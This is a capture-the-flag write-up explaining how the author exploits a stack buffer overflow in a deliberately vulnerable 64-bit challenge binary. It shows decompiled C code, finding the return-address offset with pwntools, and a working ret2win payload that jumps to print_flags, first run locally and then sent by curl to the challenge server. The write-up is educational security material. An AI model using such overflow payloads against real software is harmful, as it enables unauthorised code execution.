Hello World!
4 minutes to read
We are given a 64-bit binary called vulnerable
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
If we execute the binary, it seems that it does nothing:
$ ./vulnerable
asdf
fdsa
1
2
If we insert data from standard input (stdin
), we make the program work:
$ echo asdf | ./vulnerable
Hello asdf
!
Let’s send 100 characters using Python and check if it crashes:
$ ./vulnerable <<< $(python3 -c 'print("A" * 100)')
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
!
zsh: segmentation fault (core dumped)
Great, the binary seems vulnerable to Buffer Overflow.
Using a reversing tool as Ghidra, we can decompile the binary and obtain readable C source code. The main
function of the program is this one:
int main(void) {
char local_28[32];
memset(local_28, 0, 0x20);
read_all_stdin(local_28);
if (local_28[0] == '\0') {
puts("What is your name?");
} else {
printf("Hello %s!\n", local_28);
}
return 0;
}
It is calling read_all_stdin
:
void read_all_stdin(long param_1) {
int iVar1;
int local_c;
local_c = 0;
while (true) {
iVar1 = fgetc(stdin);
if (iVar1 == -1) break;
*(char *) (param_1 + local_c) = (char) iVar1;
local_c = local_c + 1;
}
return;
}
The vulnerability is that the variable called local_28
in the main
function has 32 bytes assigned as buffer. However, read_all_stdin
is reading bytes until our input data ends (no limitation) and adding them to local_c
(which is local_28
from main
, though Ghidra is not able to decompile it completely).
Although it is not called in the main
function, in the binary we can find another function called print_flags
:
void print_flags(void) {
char *__s;
__s = getenv("FLAGS");
puts(__s);
/* WARNING: Subroutine does not return */
exit(0);
}
This function obviously prints the flag to complete the challenge. So, the aim of the exploit will be to execute this function.
A Buffer Overflow vulnerability consists of entering enough data to overflow the buffer assigned to a certain variable (in this case, local_28
). After the buffer assigned to a variable, there is a critical value that control the execution of the program, that is the saved return address (which will be copied to $rip
when returning from a function). Overflowing the buffer grants us potential control over this register.
This time we will focus on controlling $rip
, which is the Instruction Pointer register. As its name says, it contains the address of the next instruction to execute. Thus, if we overwrite $rip
with the address of print_flags
, this function will be executed.
The address of this function is shown in Ghidra (0x4006ee
). However, it can be shown with readelf
as well:
$ readelf -s vulnerable | grep print_flags
59: 00000000004006ee 34 FUNC GLOBAL DEFAULT 13 print_flags
Now we need to have the number of characters needed to control the $rip
register, in order to put there the address of print_flags
. This can be done with GDB and a pattern string created with cyclic
from pwntools
(for example, 100 characters):
$ pwn cyclic 100 | tee pattern
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
$ gdb -q vulnerable
Reading symbols from vulnerable...
(No debugging symbols found in vulnerable)
gef➤ run < pattern
Starting program: ./vulnerable < pattern
Hello aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400771 in main ()
Now the program has crashed, we can examine the values of the registers. Since it is a 64-bit binary, $rip
is not overwritten (it is kind of protected), so we need to take the value at $rsp
(where the next address is saved in order to copy it to $rip
):
gef➤ x $rsp
0x7fffffffe758: 0x6161616b
The value 0x6161616b
corresponds with kaaa
(little-endian format). We can calculate the offset again with pwntools
:
$ pwn cyclic -l 0x6161616b
40
Therefore, we need to enter 40 characters and then the address of print_flags
to redirect code execution. Let’s do it from the command line. To avoid unexpected behavior we must set an environment variable called FLAGS
(because the binary will try to access it inside print_flags
):
$ export FLAGS=this_will_be_the_flag
$ (python3 -c 'import sys; sys.stdout.write("A" * 40)'; echo -e '\xee\x06\x40\0\0\0\0\0') | ./vulnerable
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@!
this_will_be_the_flag
Nice, now we need to send it to the remote instance. Since the input is taken from a URL query parameter, we need to encode the hexadecimal characters into URL encoding:
$ curl "http://35.227.24.107/0f7bd59245/?stdin=$(python3 -c 'import sys; sys.stdout.write("A" * 40)')%ee%06%40%00%00%00%00%00"
<a href="vulnerable">Download binary</a><br><br>
<form>Stdin: <input type="text" name="stdin"> <input type="submit"></form>
<pre>Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@!
["^FLAG^xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx$FLAG$"]
</pre>